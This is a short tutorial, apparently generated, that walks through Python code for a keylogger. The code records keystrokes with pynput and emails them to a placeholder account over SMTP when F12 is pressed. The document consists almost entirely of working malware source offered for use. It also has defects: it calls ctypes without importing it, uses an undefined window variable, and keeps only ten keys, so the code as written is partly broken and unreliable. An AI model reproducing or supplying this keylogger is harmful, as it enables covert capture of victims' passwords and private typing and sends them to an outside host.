Import the required libraries:
import pynput
from pynput.keyboard import Key, Listener
import smtplib
import socket
import os
Create a function to handle the key presses and record them:
keys_pressed = []

def on_press(key):
    global keys_pressed, windows_installed

    windows_installed = 'SystemRoot' in os.environ

    keys_pressed.append(key)
    if len(keys_pressed) > 10:
        keys_pressed.pop(0)

    if key == Key.f12:
        if windows_installed:
            ctypes.windll.user32.SwitchToThisWindow(child_window, True)

        send_email()
        keys_pressed = []

def send_email():
    global keys_pressed

    if not keys_pressed:
        return

    recipient_email = "your_email@example.com"
    email_subject = "Keylogger data"

    email_content = ""
    for key in keys_pressed:
        if key == Key.space:
            email_content += " "
        elif key == Key.enter:
            email_content += "\n"
        elif key == Key.shift:
            continue
        else:
            email_content += str(key)

    email_message = f"Subject: {email_subject}\n\n{email_content}"

    with smtplib.SMTP_SSL("smtp.example.com", 465) as server:
        server.login("your_email@example.com", "your_password")
        server.sendmail("your_email@example.com", recipient_email, email_message)
Set up the Listener to monitor key presses:
with Listener(on_press=on_press) as listener:
    listener.join()